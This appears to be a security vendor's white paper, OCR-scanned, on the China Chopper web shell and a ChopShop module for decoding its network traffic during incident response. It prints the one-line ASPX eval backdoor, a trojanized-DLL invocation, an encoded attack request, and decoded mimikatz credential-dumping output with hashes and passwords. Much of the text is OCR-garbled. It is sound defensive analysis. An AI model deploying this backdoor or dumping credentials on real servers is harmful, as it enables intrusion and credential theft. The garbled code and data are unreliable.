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INTRODUCTION

The Chopper Web shell is a widely used backdoor by Chinese and other malicious actors to
remotely access a compromised Web server. Deployment of the Chopper shell on the server is
fairly basic as the server payload is a single line inserted into any ASPX page.

<% @ Page Language="J]script"%><%eval(Request.Item[”password"],"unsafe"); %>

This payload is available in a variety of languages including ASP, ASPX, PHP, JSP, and CFM.
Once installed, the attacker can access the shell with the Chopper client side binary.

CrowdStrike has observed another deployment method on IIS servers where attackers upload a
trojanized DLL file, ‘System.WebServices.dIl’. This DLL file is written in C# and contains multiplel
Chopper API functions. The attacker can then call these functions by inserting this line in any
ASPX page:

<% WebServices.InitalizeWebServices ("shell_password"); %>

The attacker can access this Web shell variant with similar methods, including using the Chopper
client side binary. The benefit of this deployment method allows the Web shell to evade host-0
based detection methods that look for suspicious functions such as ‘eval’. Although deployments
of Chopper can vary on the host, the network traffic patterns generated by the Web shell havel
remained largely unchanged.

CHOPPER NETWORK TRAFFIC

The Chopper Web shell client communicates over TCP using HTTP POST requests. Network
traffic analysis of chopper packets can reveal attacker actions, intentions, and next steps.O
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Because Chopper generates a POST request for each command, manual analysis can get
tedious if the attacker is very active. Another challenge occurs when Chopper is deployed on a
Web server behind SSL, causing all traffic generated by Chopper to be encrypted.O

000 X! Follow SSL Stream

-Stream Content

POST /fowa/auth/i.aspx HTTP/1l.1
Cache-Control: no-cache
k-Furwarded-Fur: 100. 159. 23. 246
eferer:
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host:
Content-Length: 1089
‘Connection: Close
Cookie: OutlookSession=5289564ad77444f4a851fc4e48751f6b

pass=Response.Write(”->|");var err:Exception;try{eval(System. Text.Encoding.GetEncoding
(65001).GetString(System. Convert. FromBase645tring

(" dmFyIEQ9U31zdGVtLLR1leHQURW5]b2RpbmcuR2VORWS jb2RpbmcoNj UwWMDEpLkdLdFNOcmluZyh TeXNOZWOuQ29udm
VydC5GemItQmFzZ TYOU3RyaWsnKFI1cXV1c3QuSXR1lbVsiejEiXSkp03ZhciBtPW51ldyBTeXNOZWOUSUSURGLYZWNEb3
J55W5mbyhEKTt2YXIgcz1ltLkdldERpemVjdGOyaWVzKCk7dmFyI FA6U3RyaW5n03ZhciBp02Z 1lbmNO@awWou IEEocDp TdH
JpbmcpOkludDMye3]1dHVybiBTeXNOZWOUSUSuURMLsZS5HZXRBdHRyYaWJ 1dGVzKHApO3 1mdw5 jdGlvbiBUKHAGU3RyaW
SnKTpTdHIpbmd7cmVOdXJuIFNSc3R1bS51Ty5Gawx 1 LkdldExhc3RXcmlOZVRpbWUocCkuVGITdHIpbmcoInl5exktTU
0tZGQQSEg6bWO6Cc3MIKTtI9ZmOyKGkgaWdgecyl7UD 1EK3NbaVOu TmFEZTtSZXNwb252Z55XcmlO0ZShzw2ldLkShbwurIi
8cdCIrVChOKS siXHQwXHQiKOEoUCKrIlxul ik7fXMIbS5HZXRGaWx1lcygp02ZvcihpIGluIlHMpe 1A9RCtzW21dLk5hbW
U7UmVzcG9uc2UuV3IpdGUoc 1tpXS50YW11KyJcdCIrVChQKSsiXHQiK3NbaVouTGVuZ3RoKylcdCIrQShOoKSsiXG4iKT
t9")),"unsafe"); }catch(err) {Response.Write("ERROR: // "%2Berr.message); }Response.Write("|
<-");Response.End

(); &1=Q0zpcXFByb2dyYWOgRml sZXNcXE 1pY3Jvc29mdFxcRXhjaGFuZ2UgU2VydmVyXFxWMTRc XENsaWVudEFjY2Vzc
1xcb3dhXFxhdXRoXFw%3DHTTP/1.1 200 OK

Cache-Control: private

Content-Type: text/html; charset=utf-8

X-0WA-Version: 14.3.210.2

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 06:48:14 GMT

Connection: close

Content-Length: 420

->|error.aspx.2013-02-05 23:00:32.8363.Archive
lerror2.aspx.2013-02-05 23:00:32,1888,.Archive
expiredpassword.aspx.2013-02-05 23:00:32,7226.Archive
exppw.dll.2014-08-06 20:24:58,73392.Archive
1.aspx.2015-02-23 22:45:44,69.Archive
logoff.aspx.2013-02-05 23:00:32.6067.Archive

logon. aspx.2013-02-05 23:00:32.13479.Archive

New Text Document.txt.2015-02-23 22:44:52.0.Archive
owaauth.dll.2014-08-06 20:23:10.104600.Archive

|<-

Figure 1. Example of Chopper’s encoded command with response over decrypted HTTPs

DECODING WITH CHOPSHOP

To assist with rapid triage, we leverage ChopShop, a network decoder framework developed by
MITRE (https://github.com/MITRECND/chopshop). The ChopShop framework is extendable with
modules, and the output from each module can be chained. Doing so reduces the need to rewrite

a decoder for widely used protocols. This allows the analyst to focus on developing modules
specific to a family of malware without dealing with the underlying protocols.O

The Chopper decode module | have written for the ChopShop Framework is designed to be
chained with the ‘chop_ssl’ and ‘http’ modules. To decode SSL traffic, the ‘chop_ssl’ moduleO
requires the server’s private key in RSA format. I've provided an initial version of this module on
our Github page (https://github.com/CrowdStrike/chopshop).

webshell_chopper_decode (0.1) -- requires ChopLib 4.0 or greater:
Extract Chopper Webshell commands and output from HTTP traffic. Requires 'http’


http://github.com/MITRECND/chopshop
https://github.com/CrowdStrike/chopshop

parent module.

Usage: webshell_chopper_decode [options]

Options:

-h, --help show this help message and exit

-d, --dict_output Formats output to sets of dicts

-c, --commands_only Only output chopper commands

-0, --outputs_only Only output chopper responses

-x, --extract_pe  Attempts to extract pe files from session

Sample usage commands:

./chopshop —f chopper_traffic_ssl.pcap "chop_ssl -k privatekeyrsa.key | http |
webshell_chopper_decode" > decoded_commands.txt
./chopshop -f chopper_traffic_http.pcap "http | webshell_chopper_decode -c"

The module output contains all commands and responses from the Chopper shell. The module
will decode the entire PCAP and separate the each command parameter ‘z0’, ‘z1’, ‘z2’on a
separate line. These ‘z’ parameters in the form data contain the arguments to commands , which
are passed from the Chopper client to the server payload. While the commands are encoded in
either base64 or hex, the responses are not encoded.

In the sample output below, we see an attacker running a ‘dir’ command file looking forQl
‘w3wp.exe’ (a renamed version of cmd.exe) and subsequently executing the credential dumper
‘mimikatz’ (named pwd.txt).

Portable executable (PE) files used by the Chopper Web shell are parsed as hex encoded by thell
module. The Chopper decode module has an option to attempt to carve out and save any PE filesO
in the commands or responses seen during an attacker’s C2 session.

./chopshop -s . —f chopper_traffic_ssl.pcap "chop_ssl -k privatekeyrsa.key | http |
webshell_chopper_decode —x"

Note the addition of the “-s” flag, which needs to be set to tell ChopShop which directory to outputd
saved files.O



[COMMBND] at 2015-02-24 06:51:34 UTC

[Z0 Parameter] - Q1]

[Z1 Parameter] - /gomd

[Z2 Parameter] - cd /d "C:\Program Files\Microsoft\Exchange

Server \Wl4\ClientAccess Ouaauthh "adiy C:hwindows\temp\w3wp.exssecho
[5] sgdiacha [E]

[RESPONSE] at 2015-02-24 06:51:34 UTC

[Quput] - -»| Volume in driwve C has no label.

Volume Serial Number iz 3£B4-1648

Directory of C:\windowshtemp

11/20/2000.  05:24 AM 345,088 wiwp.exe
1 File(s) 345,088 bytes
0 Dir(=) BIl.05B.640.472 bytes free

[5]
C:\Program Files\MicrosoftiExchange Server\VI4\Gljienticces='Owa'\zuth
[E]
<=
[COMMAND] at 2015-02-24 06:57:10 UIC
[Z0 Parameter] - Q1]
[Z1 Parameter] - C:\%windows)\\temp\ipwd.txt
[RESPONSE] at 2015-02-24 06:57:10 UTC
[Quput] - ->|
wEFEEF. nimisatz 2.0 alpha (x64) release "Kiwi en C" (May 20 2014 08:56:48)
LI £
LIV 1 AR
#4 \ J #f__ _Bepiamin DELPY ‘gentilkiwi  ( benjaminfgentilkiwi.com )
A LA http://blog.gentilkiwi.com/mimikate (oE.sa)
TEFEEE] wikth 14 modules * * %/

mipikatzipamershell) # sekurlss::logoopasswasds

Authentication Jg. i 0 ;

n -

50560880 (00000000:03037Z70)
1 from O

Oser Hame. e SASIBREL
Domain 3. ACMEINC
SID 3, 5-1-5-21-626217048-23£325323-60816402-4113

EEM *

[0O000C03] Primary

* Hessname.: fleghern
Domain.. .: ACMEINC
MILM. .5 303BD3f221428054a45171d06550132e
SHAal 3 abofbfileed3bdlflcoS24Seffliétactadlalel
REREZ
HAREEER :

- e .

% %

fleghorn.
* Domain.....; ACMEINC
* Bagswasd.s 154Y¥t43r3
k2rharos
* Usezname.s fieghorn
* Domaild....i ACMEINC.RCME.COM
* PBagaword.: (null)
851
chedman

Figure 2. Sample portion of output from decode module showing ‘mimikatz’ execution.

chopper_extracted_file-1.bin saved..

[COMMAND] at 2015-02-24 07:03:05 UTC

[Z0 Parameter] - Q1|

[Z1 Parameter] -
\\192.168.1.11\c$\inetpub\wwwroot\Citrix\XenApp\bin\System.WebServices.dll

[Z2 Parameter] -...




FINAL THOUGHTS

i’ chopper_extracted_file-1.bin

A | 4DEATPAA AZAPPEPA A4PARAPE FFFFABEA BSAPPOEA BEARBARE | [MZE R ||

24 | 49800060 ABRAAAEA HRRAAARA ARABEARA BABADABE BABRBEEA | | @
45 | BA0EB0BE BEODBAEA DPBOOBROD SPBOOBOD BELFEABE BBE489CD A J ¢ D

72 | 21B8B14C CD215468 69732078 726F6772 61602063 616E6EEF | | ITT LO!This program canno
96 | 74286265 2872756E Z2B696EZA 444F535320 6DoF6465 2EBDADEA | |t be run in DOS mode.
120 | 24AAARGEA ANEREOAA 5E450A60 4CA1A368 DZ963CEA ABGAAARAE | | § PE L “f<P

144 | BEOEBOEE EBBBEZZ1 DEOL16500 BB360000 BOOSOOE0 BEDBBOEE T ! &

165 | 2EREAARA AAZ2APAGA ARGHROAE APAB4ARA BA2AAARA ABBRZAAEa | | .U ) @

192 | 4000000 AOODOOEA 04000000 DEOOOEOD AOABDGED BODZO08A T

216 | BAEPBOBE B3084055 DBOO1600 BE1ODE0E BODB1EBE BBleBGEAa ad

240 | AAKAARA 1AARAARA HBARARAR ARAEBRRAEA DCH4AAAA 4FBABARA «T 0
264 | BA6HBARA ASASAREA ARRRARRA DABBEARA ABBARARE BEBABAERA )
285 | BAShO00a BCoDBaEe 44540800 1CHO0B00 BODBOBEE BBOBBORAE & DT
312 | BPREAE0E HEBOPEEA BABNDEOD PPBEBEDE BREOERBE DBBADEBE
336 | AAERB0EA ABRRAREA BBZAAARR ASABEARD ABBADAGE ABDABAERA
360 | 3200008 45000000 OBOOEOO0 DBBBEAOE 2EV46573 Y4008088 H Lext
384 | 34350008 BEZPEE0E DE300000 BBBZOBOD0 BODBOOBD BEDBBOEE | | 45 6

Figure 3. Carved PE from Chopper traffic opened in hex editor.00

With Chopper available in so many varieties of programming and scripting languages, this module
is still in development to account for different variants and edge cases. The goal of this module
was to ease some of the tediousness of extracting information out of a large packet capture. With
the prevalence of Chopper’s use by APT groups, being able to quickly decode and understand
what an attacker is doing greatly increases the situational awareness of incident responders.
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